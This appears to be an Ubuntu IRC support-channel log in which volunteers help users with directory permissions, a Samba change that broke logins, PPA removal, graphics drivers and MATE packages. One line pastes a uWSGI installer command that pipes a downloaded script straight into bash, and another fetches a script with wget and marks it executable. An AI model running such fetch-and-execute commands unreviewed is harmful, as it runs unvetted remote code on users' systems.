[02:12] <vinceableworld> I list it... there it is... I try to change to it... can't.
[02:13] <vinceableworld> i can't change to any directory for that matter weird?
[02:13] <[1]Roach> I'm buying the Desktop DVD from the website, and I have windows 8, should I buy the server CD instead
[02:13] <dr_willis_> whats the directory name?
[02:13] <vinceableworld> doesn't matter... I can't switch to any of them
[02:13] <vinceableworld> Downloads
[02:13] <dr_willis_> [1]Roach:  buy? they are free
[02:14] <dr_willis_> vinceableworld:  you are using the proper CASE ?   downloads is not Downloads
[02:14] <dr_willis_> use tab key to complete the name
[02:14] <vinceableworld> yup (knew that was coming)
[02:14] <dr_willis_> does your current user own the dirs?    ls -l shows the owners
[02:14] <[1]Roach> I know but I have trouble using a usb
[02:15] <dr_willis_> [1]Roach:  you can burn the isos if you wanted. theres dozens of tools to put them on usb.  Pendrivelinux site has several
[02:15] <[1]Roach> ok, I just found a case of CD's in my office
[02:16] <vinceableworld> yup says it's mine obviously (only me here)
[02:16] <dr_willis_> ubuntu wantss a DVD.. lubuntu i think still fits on a cd
[02:16] <dr_willis_> vinceableworld:  ive seen things get owned by root by mistake befor
[02:16] <vinceableworld> I got it
[02:16] <vinceableworld> was putting the slash in
[02:17] <RudyValencia> I updated my system and now lightdm won't start
[02:17] <ObrienDave> Xubuntu iso needs a DVD
[02:17] <dr_willis_> vinceableworld:  this is when it would have been handy to paste the exact command line command here. ;)
[02:17] <RudyValencia> it's a VMware virtual machine, any reason why?
[02:17] <vinceableworld> okay finally in the folder with this install.sh script
[02:17] <vinceableworld> how do I give it permission to execute?
[02:17] <dr_willis_> chmod +x filename
[02:17] <vinceableworld> okay dr
[02:17] <[1]Roach> Damn, would the sever version work on a CD
[02:17] <vinceableworld> ty :)
[02:18] <gooligan> dr_willis_: Lubuntu 13.0.4 ISO = 639MB
[02:18] <dr_willis_> [1]Roach:  look at the size of the download.
[02:18] <dr_willis_> I thought Lubuntu would fit on a 700mb cd.
[02:18] <dr_willis_> with room to spare. ;)
[02:18] <vinceableworld> okay did that now I want to run install.sh
[02:19] <vinceableworld> It should just install now right?
[02:19] <dr_willis_>  ./install.sh
[02:19] <[1]Roach> ok
[02:19] <dr_willis_> I havve no idea what you are installing. ;)
[02:19] <vinceableworld> with the period in front?
[02:19] <vinceableworld> It's all good :)
[02:19] <dr_willis_> vinceableworld:  yes.. the current directory is NOTin your defailt path. you MUST use a full path to the file
[02:20] <dr_willis_> or a relative path ;)
[02:20] <vinceableworld> okay here we go something is happening..... BOOOOM
[02:20]  * gooligan keeps backtrack on a usb in my pocket everywhere i go. 
[02:21] <jccng> Hola, alguien en espa;ol_
[02:22] <dr_willis_> !es
[02:24] <dre101> hey guys
[02:24] <gooligan> anyone tell me why i can't "su login to root" i always have to "sudo su" login. i get auth failure otherwise...?
[02:24] <RudyValencia> I updated my 12.04 LTS system and now lightdm won't start. It's a VMware virtual machine; any reason why?
[02:25] <dre101> can i use map a key to run a custom command ubuntu server
[02:25] <wilee-nilee> gooligan, Why would you login to root? you can get root in the terminal with sudio -i
[02:25] <wilee-nilee> sudo -i
[02:26] <gooligan> hmm, unrecognized command: sudio -i
[02:26] <dre101> can i map a key to run a shell command ubuntu server
[02:27] <jrib> gooligan: "sudo", not "sudio"
[02:27] <gooligan> hahaha yea i just thought about the typo potential there
[02:28] <wilee-nilee> su su sudio
[02:28] <dre101> can i map a key to run a shell script command ubuntu server
[02:28] <dr_willis_> dre101:  you mean on the console?
[02:28] <gooligan> thx wilee-nilee
[02:28] <wilee-nilee> no prob
[02:29] <dre101> yes
[02:29] <dre101> dr_willis
[02:29] <dr_willis_> dre101:  id check out the various bash guides and tips.   it has support for alias's and  so forth. so i cant recall ever needing to run a command on a hotkey
[02:30] <dr_willis_> #bash may know of a way that ive never seen.
[02:30] <Fudus> is there an firefox ua ppa somewhere? there is one for the normal nightly but not the ux
[02:30] <Fudus> firefox ux ppa rather
[02:30] <wilee-nilee> Fudus, ux?
[02:30] <dre101> can it be done without login
[02:30] <Jeruvy> Fudus not clear on ux?
[02:31] <dr_willis_> Fudus:  theres a ppa-search site. and i think a search  tool in the repos
[02:31] <dr_willis_> dre101:  clarify what you mean.
[02:31] <dhyana> hi all
[02:32] <dhyana> hi Nothing_Much
[02:32] <dhyana> got it to work?
[02:32] <Nothing_Much> dhyana, my USB stick is very slow :(
[02:32] <Nothing_Much> it's been copying OS X for about 12 hours now
[02:32] <dhyana> well did it boot into SL?
[02:32] <dhyana> oh
[02:32] <dhyana> damn
[02:32] <dhyana> wtf
[02:32] <dhyana> get a new one mate
[02:32] <FloodBot1> dhyana: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[02:32] <Nothing_Much> it's at about 95% now
[02:33] <dhyana> oh
[02:33] <FlashSoul> Hi. So I was messing around with Samba, trying to share a drive for everyone in the network without restriction. Anyway, I changed /etc/samba/smb.conf into something like that (https://www.samba.org/samba/docs/man/Samba3-HOWTO/StandAloneServer.html#simplynice), rebooted and now... I can't login anymore on Ubuntu on any passworded account. Please help me!
[02:33] <dhyana> hey Nothing_Much just wait then
[02:33] <Nothing_Much> yeah it's no biggie
[02:33] <dre101> i would like to map my pause key to run a shell script when it is press
[02:34] <dhyana> ok
[02:34] <dr_willis_> FlashSoul:  i dont see how smb.conf could affect that. You coulld use the recovery mode. or live cd to restore the file/renameit - IF you think thats  file is the cause.
[02:35] <dhyana> Nothing_Much,  try out ##paradisecafe
[02:35] <dhyana> come and relax
[02:35] <dhyana> :)
[02:35] <dre101> dr-willis  i would like to map my pause key to run a shell script when it is press
[02:35] <dr_willis_> dre101:  i suggest asking in #bash   im not sure thats possible. but there may  be tools to allow it that ive never used
[02:35] <FlashSoul> I don't really see how it could be anything else since I did nothing else than that. On recovery mode, I'm kinda stuck since I'm being told the file system is in read-only mode and I can't change anything :/.
[02:36] <dr_willis_> FlashSoul:  you remount it in read/write mode
[02:36] <dr_willis_> i forget the command how. ;) i thought the recovery menus had an item for that
[02:36] <FlashSoul> Ah. I'll search try that. Thanks.
[02:36] <FlashSoul> search and*
[02:37] <dr_willis_> i dont see how the smb.conf can affect your user loggin in.
[02:37] <dr_willis_> unless you goofed with their passwords as well
[02:37] <delinquentme> curl http://uwsgi.it/install | bash -s default /tmp/uwsgi
[02:37] <FlashSoul> I figured the "passdb backend = guest" might have had influence on more than samba
[02:37] <Fudus> if it is mounted read only it sounds like a hd problem?
[02:37] <RudyValencia> never mind
[02:37] <delinquentme> what does the part after "bash" do?
[02:38] <RudyValencia> somehow X got removedf
[02:38] <RudyValencia> *removed
[02:38] <dr_willis_> Fudus:  REcocvery mode mounts / read only by default
[02:38] <Fudus> or that heh
[02:40] <john234> #join irc.freenode.net
[02:41] <dr_willis_> john234:  you join channels   like  /join #freenode
[02:41] <dr_willis_> you connect to servers ;)
[02:43] <Fudus> trying out firefox, webapps seem really buggy. the reddit one shows current karma instead of unread in inbox
[02:43] <BonesFM> I added the wrong ppa trying to install wine1.7, now I'm getting broken package errors. How would I go about fixing this?
[02:44] <somsip> !purgeppa | BonesFM
[02:44] <somsip> !ppapurge | BonesFM
[02:44] <dr_willis_> Fudus:  i find webapps a neat idea. but dont seem to work very well. when they do worl
[02:45] <FlashSoul> dr_willis_ : In my previous searches, I found that samba could break login because of libpam-smbpass, btw. Also, while it only shows "Incorrect password" (or something like this) in graphic mode, the behaviour is different in console mode. When I type a wrong password, it tells me "Login incorrect". When I type the right password, the screen clears and it asks me to login again as if nothing
[02:45] <FlashSoul> has happened.
[02:46] <FlashSoul> Which shows it can tell my password is right, but something breaks during the login.
[02:46] <Fudus> i am boring and go to software & sources and remove the ppa instead
[02:46] <dr_willis_> FlashSoul:  all ive done to get samba going was sudo apt-get install samba. then edit the smb.conf ;) but ive never had to  mess with pam.  Now PAM - could break things I imagine. ;)
[02:46] <FlashSoul> The recommended solution I found to this problem was to do "dpkg --purge libpam-smbpass" in recovery mode but I had no luck with that thanks to the read-only issue which I'm gonna fix right away
[02:47] <dr_willis_> FlashSoul:  a live cd and chroot might also let you do it. but it would be easier to remount r/w
[02:49] <BonesFM> ppa-purge is not on synaptic, and that is the only way I know of to install correctly.
[02:50] <BonesFM> I downloaded the .deb file but don't know what to do with it
[02:50] <dr_willis_>  you need a ppa to instgall ppa-purge
[02:50] <dr_willis_> sudo dpkg -i foo.deb
[02:50] <dr_willis_> or   sudo gdebi foo.deb
[02:51] <BonesFM> file not found
[02:52] <dr_willis_> whats the exact command you are using?   'file not found' tells us very little
[02:52] <dr_willis_> other then that you may be making a typo :) or wrong path
[02:52] <BonesFM> I tried both of the commands you gave me
[02:52] <OerHeks> ppa-purge is in the 12.04/13.04 repos
[02:52] <dr_willis_> whats the EXACT commmand you used?
[02:52] <dr_willis_> !find ppa-purge
[02:52] <dr_willis_> !info ppa-purge
[02:53] <BonesFM> sudo dpkg -i foo.deb
[02:53] <dr_willis_> BonesFM:  and. foo.deb was an EXAMPLE name...
[02:53] <dr_willis_> Ihave NOidea what filename you downloaded
[02:53] <ObrienDave> don't ya love it?
[02:54] <dr_willis_> dosent any one use foo/bar for example names any mpre ;_)
[02:54] <BonesFM> aparently not >.<
[02:54] <Fudus> double clicking the deb should bring it up in software centre, and you can click the install button
[02:54] <BonesFM> okay, thank you Fundus
[02:54] <dr_willis_> heh - by the time software cente rloads - i normally can have it installed with gdebi
[02:55] <Fudus> gdebi is not installed by default though ;)
[02:55] <Fudus> in 13 at least
[02:55] <ObrienDave> and I got laughed at here for recommending gdebi
[02:55] <dr_willis_> gdebi does a fine job.
[02:55] <ObrienDave> yes, i know
[02:56] <dr_willis_> if you are on a cli only system. I dont know of any other cli tools that pull in all needed deps.. other then resorting to apt-get -f  and hoping it works
[02:56] <Fudus> i'm really looking forwards to the unity8 version of software centre when they change over to QT :P
[02:57] <dr_willis_> i honestly rarely if ever use software center. I find it annoying to see so many $$  comercial apps like i always see in the android market
[02:57] <Fudus> hopefully it will be faster when in js/c++ rather than current python :(
[02:58] <ObrienDave> somebody here jumped my butt for suggesting someone use 'grub customizer'. "We don't support PPAs here". I thought this channel was about helping people to get things to work
[02:58] <boeyc> hi, dual booted with linux on top and went for the tutorials that included using BDEplayer. Everything dual boots but if i choose any ubuntu options it just sticks at a blinking cursor. i followed the necessary steps to have 2 copies on 1 hd
[03:00] <boeyc> easyBCD** correction
[03:01] <FlashSoul> YES! "dpkg --purge libpam-smbpass" worked. Who would have thought changing a samba config file could cause so much trouble.
[03:01] <wilee-nilee> boeyc, mmm a third bootloader, grub works fine.
[03:02] <GeekDude> encrypted SSH? The SSH client I'm using keeps complaining that the connection isn't encrypted
[03:02] <GeekDude> Phrased as a question: How do I set up an encrypted SSH connection?
[03:04] <Fudus> ssh is already encrypted, it is what the first s is about
[03:04] <Fudus> so a config error in the prog you're trying to run
[03:04] <dr_willis_> FlashSoul:  im not sure how that package would alter the amba config file. ;) but im only on a home lan. so  my needs are trivial
[03:05] <GeekDude> oooh... sill me. Fudus: I was confusing my VNC client with my SSH client. VNC keeps complaining about it being unencrypted. Any idea how to set up encrypted VNC? (I've heard you can do some kind of VNC over SSH system)
[03:06] <reisio> GeekDude: right
[03:06] <jrib> !vnc | GeekDude
[03:06] <FlashSoul> dr_willis_ : Same. I'm a newbie on that thing. I just started reading on it. I want this ubuntu desktop to share a drive with the windows computers on LAN without authentication.
[03:06] <Fudus> jrib: to the rescue
[03:10] <OldTexas> Finally got that dang USB nick to connect to my network, but as a guest.  Feel like I'm sucking buttermilk through a straw though.
[03:11] <caodepalha> hi everyone! whats the advantage in upgrading your distro?
[03:12] <delinquentme> is there a way to get the default pagekage version which would be installed with apt-get ?
[03:12] <OldTexas> It's kinda like goin' out with a new girlfriend.  New, excitin', fun, but you neve know what to expect.
[03:12] <FlashSoul> caodepalha : Taking advantage of the new stuff and packages designed for newer distros I guess.
[03:12] <ObrienDave> caodepalha... other than having the latest and greatest system?
[03:12] <wilee-nilee> delinquentme, Why would you not?
[03:13] <delinquentme> wilee-nilee, the answer is apt-get install nginx --dry-run
[03:13] <FloodBot1> !netsplit
[03:18] <dr_willis_> FlashSoul:  Hmm. I just setup guest shares.. :) if i dont want authincation
[03:18] <dr_willis_> FlashSoul:  thats how my XBMC box's access the shares
[03:19] <OldTexas> Can y'all see me?
[03:19] <dr_willis_> the bots are triggering each other.. thats skynet-ish   ;)
[03:19] <dr_willis_> OldTexas:  some of us do at least
[03:19] <OldTexas> OK, thankie
[03:21] <al_la> looking for help... installed fglrx-amdcccle (it also added fglrx and 2 other packages).  I rebooted, unity crashes, other UI issues, I purge fglrx-amdcccle and it only purges the 1 package, not the other 3.  I reboot again and graphics still messed up with no unity.  Running 'sudo lshw -c Video' I can't tell which driver it's using (not radeon like it used to, not fglrx), it just says VGA compatible controller.  Thoughts on how to recover h
[03:21] <al_la> ere?
[03:22] <dr_willis_> al_la:  see if it made a /etc/X11/xorg.conf   and does the lightdm login sscreen work? just the desktop fails?
[03:25] <al_la> dr_willis: login screen works and displays correctly, but at much lower resolution, so some configuration has changed.    No xorg.conf ... as an aside, I just went to tty2 then back to graphics and it looks like it dropped me to 256 colors, and text is almost unreadable
[03:25] <FlashSoul> al_la : See "Revert back to the open source drivers" there : http://askubuntu.com/questions/74171/is-my-ati-graphics-card-supported-in-ubuntu
[03:25] <FlashSoul> It helped me when I had this problem, at least.
[03:26] <dr_willis_> al_la:  Hmm. Im out of ideas then. I rarely use ati either.      askubuntu to the rescue ;) we hope
[03:28] <al_la> firefox is unusable ... going to try removing the other 3 packages and rebooting and see what happens ... hopefully I'll be back.
[03:29] <FlashSoul> Ah. I thought he had another computer to browse.
[03:32] <al_la> update: removed all packages associated with fglrx-amdcccle, on reboot graphics appear normal except that unity does not start or is not displayed.  thoughts on how to bring back to stock ubuntu drivers?  whoever posted the link a minute ago, I couldn't read your name, do you mind posting again?
[03:33] <blankley> So I just submitted my first patch, to testdrive. It was a royal mess. For some reason bzr uploaded the entire source tree as a patch. :-/
[03:34] <al_la> Flashsoul: sorry, i see link now in history
[03:44] <moorvogi> hay all, i was cerious if anyone found a work around to remove a user from the login screen. i joined my machine to AD and logged in with an account, but now i want that account gone. the deluser fails becuase it's not in /etc/passwd i tried manualy adding the account to that file, then removing... still no go joe.
[03:48] <al_la> question: I tried fglrx, big fail, uninstalled and am back on open source drivers, but now Unity won't start ... login screen works, my control+alt+t works to start terminal so I can launch programs and whatnot, but there is no UI.  thoughts?
[03:49] <dr_willis_> unity/compiz needs 3d driveers so can break easially. You might want to install a lighter 2d only desktop untill you can get it fixed. Like xubuntu lubuntu  (xfce/lxde)
[03:49] <dr_willis_> compiz fails due to 3d/gl drivr issues.. thst means unity is also dead. ;(
[03:51] <al_la> I'm back on the previous drivers that supported 3d/gl according to lshw -C video
[03:51] <dr_willis_> you caan run  'compiz --replace' from a terminal and see if any erorrs appear i guess.
[03:52] <dr_willis_> i bet there willbe some mention of gl    - not that  it will help much. ;(
[03:52] <al_la> many errors
[03:53] <al_la> hmmm, I'll keep digging.  thanks for the try dr_willis
[04:03] <wilee-nilee> al_la, My thought is maybe the unity plugin in compiz config is not ticked, I don't use unity so I'm not sure if that is still there in you release as a choice
[04:03] <Codex_> hello
[04:03] <wilee-nilee> your*
[04:03] <Codex_> I need help
[04:03] <Codex_> with installing this package https://github.com/jasmineaura/mate-globalmenu
[04:04] <Codex_> when I try install mate-globalmenu
[04:04] <sevo> does someone know a possibility to get the position of a file on a raw blockdevice? i accidentally overrode the first bytes of an important video file on a fat fs and want to try rescue the rest of it with dd.
[04:04] <Codex_> I get
[04:04] <Codex_> The following packages have unmet dependencies:
[04:04] <Codex_>  mate-globalmenu : Depends: mate-applet-globalmenu but it is not going to be installed
[04:05] <wilee-nilee> Codex_, This mint?
[04:05] <Fudus> mate isn't supported by ubuntu, so you should go to mate's channel for help
[04:05] <Codex_> no it is Ubuntu 12.04.3
[04:05] <Fudus> if you want more oldgnome trying installing cinnamon, which is in the official repos
[04:05] <Fudus> (don't know if cinnamon is in 12)
[04:06] <kostkon> !find cinnamon presice
[04:06] <wilee-nilee> cinnamon is in the raring repos
[04:06] <wilee-nilee> and a ppa
[04:06] <kostkon> !find cinnamon precise
[04:07] <shelden> what you guys talking about?
[04:07] <Fudus> he wants to use mate in ubuntu 12
[04:07] <almostworking> cinnamon might not be all that stable , via a PPA.  , just imo. or experience rather.
[04:07] <raving> I happen to have an NVS3100 (which apparently has spotty linux support at best, since it's using optimus) and am running into issues with my laptop intermittently freezing, presumably because of the switch from my i5's built in video card and the nvidia one. I was wondering what my options are at this point.
[04:08] <almostworking> there is some nice customizing ppas for unity , ubuntu tweak is what i use.
[04:08] <raving> I have read that the newer 3.9.x series handles this a bit better, but would be content with disabling the onboard video from the i5 as well
[04:09] <dr_willis_> !bumblebee
[04:09] <Fudus> Codex_:  xubuntu has the oldgnome top and bottom panel style, so you can try that too on 12.04
[04:09] <dr_willis_> all i know about optimus - is you use bumblebee to  mess with it. ;)
[04:10] <raving> dr_willis_, ahh, I gotcha
[04:11] <raving> I remember reading that kernel 3.9.4 and up also support this a bit better, but I'll try bumblebee first
[04:11] <dr_willis_> i think you still need bumblebee even with  the newer kernel. but i could be wrrong
[04:12] <raving> I'll give it a shot
[04:14] <king-965> FARTS!!!
[04:15] <raving> dr_willis_, I am thinking I will probably go with ATi next time I buy a laptop; I had much more success with them the last time I built a new rig
[04:15] <raving> In terms of driver support
[04:16] <dr_willis_> raving:  i stick to nvidia. I see just as many if not more problems in here with people and ati
[04:16] <dr_willis_>  least problmes would be Intel.
[04:16] <dr_willis_> definatly RUN away from SiS ;)
[04:17] <dr_willis_> ati has their own take on the Gual GPU Optimus stuff as well.
[04:17] <raving> dr_willis_, I learned that lesson years ago
[04:17] <raving> (re: SiS)
[04:18] <raving> I had an SiS based off of an 810 and I'm not even sure if I could get it to work correctly anymore
[04:18] <Fudus> with 14.04 it'll all be running on GLES and problems should reduce
[04:19] <Fudus> only 2 more releases whoo
[04:19] <raving> Fudus, well I guess that depends on whether or not the major vendors change their stance on mir
[04:19] <raving> IIRC they're quite resistant to it aren't they?
[04:19] <Fudus> they all have to support android, so mir will go along with the ride
[04:20] <dr_willis_> they are always resistant to anything that might  cause them to spend some $$
[04:20] <raving> I'm not sure where I stand on Mir yet, but most of the programming I do abstracts that sort of detail anyway
[04:21] <kostkon> raving: nope. they are going to release gles drivers soon anyway, so both mir and wayland will run fine, ati and nvidia that is
[04:21] <raving> So unless I am writing my own gui toolkit I doubt it'll bother me
[04:21] <dr_willis_> im just a lowly end user  ;) over theyears i seem to recall several attempts to replace the X server.
[04:21] <Fudus> intel disapproves of mir too
[04:21] <raving> dr_willis_, X is hard to kill
[04:21] <Fudus> amd and nvidia have made no public comment
[04:22] <dr_willis_> i seem to recall one candiate called 'Y' years ago   ;)
[04:22] <Fudus> (because they're under NDAs)
[04:22] <raving> dr_willis, yep, and even before that, NeWS
[04:22] <SuperLag> Is there a way to reverse the default scrolling direction in Unity?
[04:22] <dr_willis_> NDa's - how 1990's   ;)
[04:22] <Fudus> Intel prefers Wayland because it is used in Tizen
[04:22] <raving> Well, to be fair Intel has put a lot of money into wayland
[04:22] <Fudus> as does Jolla
[04:23] <raving> And a lot of resources
[04:23] <kostkon> Fudus: wayland is being developed by intel and red hat staff
[04:23] <raving> YEah, the lead maintainer works for intel IIRC
[04:23] <raving> specifically for wayland
[04:24] <Fudus> I like how tizen chose enlightment for their stack
[04:24] <Fudus> the rebels
[04:24] <raving> Haha, I actually rather like enlightenment, or did anyway
[04:24] <dr_willis_> Enlightment - the almost useable desktop. ;^)
[04:24] <raving> I stopped paying attention after E17 turned into DNF
[04:24] <Fudus> e17 has been out officially for a few months now
[04:24] <Fudus> only took 10 years
[04:25] <dr_willis_> I did see where Wayland was getting useable on the Raspberry Pi. :) but i dont keep up with allthis new fangles stuff..
[04:25] <raving> Well I've never written a window manager, it seems like there was a LOT of different levels of abstraction that went into it
[04:26] <raving> dr_willis_, I'd be happy to see both Wayland and Mir succeed to tell you the truth
[04:26] <Fudus> oops not 10 years, 12
[04:26] <raving> So I've been paying attention to it because at some point I want to write a media layer for my own edification
[04:26] <raving> Fudus, like I said, DNF
[04:26] <Fudus> raving: but it is out now!
[04:27] <raving> I remember when preorders for DNF were first being taken... in 1999.
[04:27] <raving> Fudus, well DNF is out now, too, haha
[04:27] <raving> GRanted I reckon may have actually been worth the wait
[04:27] <raving> I haven't used it so I don't know
[04:28] <dr_willis_> i still miss a lot of the features my Good old AMigaOS had..   and Yes.. I do have 'DNF' :) and stopped playing it about 1/2 way throught
[04:28] <Fudus> Samsung didn't do too well with their last try, bada
[04:28] <raving> I'm a fluxbox user now, hadn't thought about it until Wayland support was announced
[04:28] <peppermint> hi
[04:28] <raving> Hello peppermint
[04:29] <peppermint> what's up?
[04:29] <raving> peppermint, not too much, drinking a beer and trying to get my optimus-based laptop to work; trying out bumblebee
[04:29] <peppermint> nice
[04:30] <[1]Roach> http://support.lenovo.com/en_US/downloads/detail.page?DocID=PD025641 This is my computer I have tried everything to get Ubuntu on it alongside windows
[04:30] <raving> [1]Roach, yeah, mine's a thinkpad too
[04:31] <dr_willis_> [1]Roach:  you could try doing a full install to a usb flash drive and run it from there/ it wont be as fast. but can be useable
[04:31] <dr_willis_> theres also normall y a lot of  info on the forums with thinkpads
[04:31] <raving> [1]Roach, what is your issue?
[04:31] <[1]Roach> Already tried that. dr_willis
[04:32] <raving> dr_willis_, I kind of wish IBM didn't sell their PC division now
[04:32] <Fudus> what is wrong with lenovo?
[04:32] <[1]Roach> I have tried using a CD, DVD, and usb and when it is loads the screen goes black like it is off
[04:32] <dr_willis_> they are not living up to their old Reputation. ;)
[04:32] <raving> Fudus, for the most part, nothing; thinkpads are pretty good hardware
[04:33] <raving> I just know that IBM has been involved with Linux for a long time now and might've ironed out some of the weird hiccups in the newer hardware
[04:34] <raving> I'm thankful lenovo  at least didn't stick a broadcom card in here for my wireless
[04:35] <raving> BRB, gotta reboot
[04:35] <[1]Roach> I'm about to switch to ASUS I use to boot a couple of distros off of it
[04:35] <raving> [1] I haven't been disasatisfied with ASUS, ever
[04:36] <raving> Err, disatisfied
[04:36] <Fudus> [1]Roach: it is has to do with acpi, try unplugging it from the mains until it is in the log in screen, then you can plug it in
[04:36] <kostkon> asus sells ubuntu laptops in some markets
[04:36] <Fudus> raving: the amount of junk they preinstall isn't very nice though
[04:36] <raving> kostkon, that's good to know
[04:36] <[1]Roach> I had 3 of the x series with windows 8 and they crashed
[04:37] <kostkon> raving: yeap
[04:37] <raving> Fudus, well I suppose my only experience I with asus is with their motherboards
[04:37] <raving> I'm considering asrock this time around though
[04:37] <Fudus> the windows notification area full of icons and mcafee nagware
[04:37] <raving> I'm still very confused about which motherboards are safe because of the secure boot thing
[04:38] <Fudus> the latest ubuntu come with signed kernels, so it shouldn't be an issue
[04:38] <raving> Eh, it's the principal of the matter
[04:38] <raving> Secure boot should've always been advisory
[04:39] <Fudus> google does the same thing with their chromebooks, signed kernels, so linux does it too
[04:39] <raving> Fudus, well rather, I imagine specific vendors do it
[04:39] <Fudus> you have to disable it in chromeos somewhere
[04:40] <Fudus> it is mandated from Google to stop malware, which is the same reason Microsoft gave
[04:40] <raving> Fudus, well I don't mind having the option of course, I'd just like to be able to turn it off when I'm building my own rig, haha
[04:40] <Fudus> they all have that ability
[04:41] <raving> Well that's good to know
[04:41] <Fudus> probably hidden deep in bios though :P
[04:41] <mohanad> hi
[04:41] <raving> I'ev purposefully kept myself from upgrading for the past 6 years because I was worried about that
[04:42] <raving> It probably sounds excessively paranoid but a new rig is a big investment
[04:42] <raving> And I keep windows around largely to code against WinAPI, nothing more
[04:43] <[1]Roach> I can't find an asus x501a preinstalled with Ubuntu
[04:43] <raving> Fudus, I know when that was a big issue MS made a point to make the ability to disable secure boot or to modify the keyring part of the Win8 certification for x86
[04:44] <raving> Sadly as I understand it they take the opposite approach with their Win8 certified ARM hardware
[04:46] <raving> Anyway, i will go ahead and reboot now
[04:49] <Codex_> hello
[04:50] <Codex_> I need help installing MATE universal menu
[04:50] <Soen> If anyone could help me wifi give a message
[04:50] <raving> Err, wow, bumblebee did something... interesting to my resolution
[04:50] <dr_willis_> if its not in the repos. its most likely not really supported by this channel Codex_  but you might get lucky ;) if anyone knows
[04:51] <Codex_> yeah
[04:51] <exported> Codex_, what is the problem?
[04:52] <Codex_> I cant install a package
[04:52] <Codex_> one sec
[04:52] <exported> Codex_, you're trying to run inxi right?
[04:52] <Codex_> yes, what is that by the way
[04:52] <Codex_> ?
[04:52] <exported> Codex_, it's a program to find system info...it's not in the repos?
[04:53] <exported> Codex_, have you tried sudo apt-get install inxi
[04:53] <dr_willis_> !find inxi
[04:53] <Codex_> nope cant find it
[04:54] <exported> Codex_, it's just a script you can do: wget http://inxi.googlecode.com/svn/trunk/inxi && chmod +x inxi
[04:54] <Codex_> thats not really what I was trying to do
[04:55] <exported> Codex_, what are you trying to do?
[04:55] <Codex_> I was trying to install this:  http://www.webupd8.org/2012/12/how-to-get-global-menu-in-mate-desktop.html
[04:55] <Codex_> https://github.com/jasmineaura/mate-globalmenu
[04:56] <Codex_> it is a universal menu for MATE
[04:56] <exported> Codex_, which mint version are you using? or did you install mate on ubuntu?
[04:57] <Fudus> you should try the mate channel instead
[04:57] <Codex_> is there a MATE channel?
[04:57] <dr_willis_> !alis
[04:57] <Codex_> I installed mate on ubuntu 12.04.3
[04:58] <Fudus> it isn't supported by ubuntu anyhow
[04:58] <exported> Codex_, says on the link you posted that it only works on 12.10
[04:58] <exported> Fudus, it works on ubuntu 12.10 and mint 14 and also lmde
[04:58] <glebihan> Codex_, surprisingly, the MATE channel is #mate
[04:58] <Codex_> yeah thats a shame
[04:59] <Codex_> on this server?
[04:59] <glebihan> Codex_, yes
[04:59] <reisio> /msg alis list *mate*
[05:03] <beyondcr> is anyone here familiar with the Java communications api
[05:03] <Base-Dev> !offtopic | beyondcr
[05:05] <FlashSoul> [23:18:26] <dr_willis_> FlashSoul:  Hmm. I just setup guest shares.. :) if i dont want authincation
[05:06] <FlashSoul> Do you do it directly through the config file?
[05:06] <Soen> help with connecting to wifi without wlan0 pleasE?
[05:06] <FlashSoul> I've been trying several ways and I can't seem to achieve my goal.
[05:07] <dr_willis_> FlashSoul:   i recall right clicking on a dir as a user. and making guest shares. or i edit the smb.conf
[05:07] <dr_willis_> FlashSoul:  all ive really done for ages/
[05:07] <dr_willis_> clients can connect as the user 'guest' no password  and get to things i recall
[05:08] <dr_willis_> xbmc is what i mainly use it for. to get to videos
[05:09] <FlashSoul> Oh. I thought you could do it without specifying a username.
[05:09] <FlashSoul> Thanks.
[05:09] <dr_willis_> all the clients ive everf seen defailt to guest
[05:09] <dr_willis_> samba can even remap to the guest user i belive in the smb.conf for unknown users
[05:10] <dr_willis_> so what are you connectong too the shares with?
[05:11] <FlashSoul> I want my windows computers to be able to access it as simply as possible... with the windows explorer
[05:11] <dr_willis_> and  windows will default to trying the logged in users name by default
[05:11] <dr_willis_> you can have samba remap unknown users to 'guest'  i recall.
[05:11] <Alen0000> Hi All, I have an issue/bug with Ubuntu 13.10, that works fine in 13.04. 4G modem (aircard 320u) does not connect to the provider, only to the GSM network. I also get a modem-manager crash with SIGABRT in g_assertion_message(), that may be related. What should I do now? What info would be required for a bug report?
[05:12] <FlashSoul> Which works fine when the account/password from the win session fits a user/password on the samba server
[05:12] <dr_willis_> You may want to check in #samba   the samba-doc book i learned from is in the repos. bu tis a bit dated
[05:12] <dr_willis_> !info samba-doc
[05:12] <dr_willis_> samba can remap the user name - I seem to recall.
[05:13] <FlashSoul> Ah. What I read might have been dated yeah... since it doesn't work.
[05:14] <dr_willis_> or the user just types in 'guest' when  the server asks for a username
[05:15] <FlashSoul> Windows Explorer doesn't ask for a username though; it just states the connection was refused. Maybe I didn't manage to make it work even with "guest" though.. I'll try with another program and this credential I guess
[05:15] <dr_willis_> ive definatly seen windows ask
[05:16] <dr_willis_> askubuntu.com may have some info/ideas on this also
[05:16] <dr_willis_> im on my phone so cant search very well
[05:20] <dik> i was logdin in sever via ssh. following error came : Write failed: Broken pipe and my working directory in server got deleted
[05:23] <dr_willis_> FlashSoul:  seems the setting i am thinking of in smb.conf [global] area    is         map to guest = bad user
[05:23] <FlashSoul> I already use it.
[05:24] <dr_willis_> thats all i ever recall using. but these daysi use dlna/upnp to share videos mainly so havent messed with samba in about a year+
[05:24] <dr_willis_> dont forget the 'guest ok = yes'
[05:24] <FlashSoul> Yeah thanks. I'll go seek help in #samba I think
[05:24] <dr_willis_> on the shares. ;)
[05:24] <FlashSoul> Yeah it's there.
[05:26] <dr_willis_> hmm. another page mentions  setting in the smbusers file    'nobody=guest' also  but that guide is from 2010
[05:27] <dik> Search Results
[05:27] <dik>     How to prevent write failed broken pipe on ssh ... - Ask Ubuntu
[05:27] <dik>     askubuntu.com/.../how-to-prevent-write-failed-broken-pipe-on-ssh-conn...‎
[05:27] <dik>     Apr 28, 2012 - Nothing really. The session was interrupted, and the security of the session was compromised. If you don't put the comp to sleep you can set a ...
[05:27] <dik>     [all variants] SSH "Write failed: Broken Pipe" for some users ...
[05:27] <FloodBot1> dik: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[05:27] <dik>     ubuntuforums.org/showthread.php?t=1479184‎
[05:28] <dr_willis_> ssh i find works best if you are using  screen, tmux, or byobu with it. ;)
[05:31] <raving> So I installed bumblebee in an attempt to get my optimus laptop working, and after I found that it did not work, I removed it; now, the nvidia kernel module appears to be missing and I'm not sure why
[05:37] <raving> Uhh, bizarre, apparently dkms has decided to name the new module nvidia_304_updates
[05:39] <Soen>  /window close
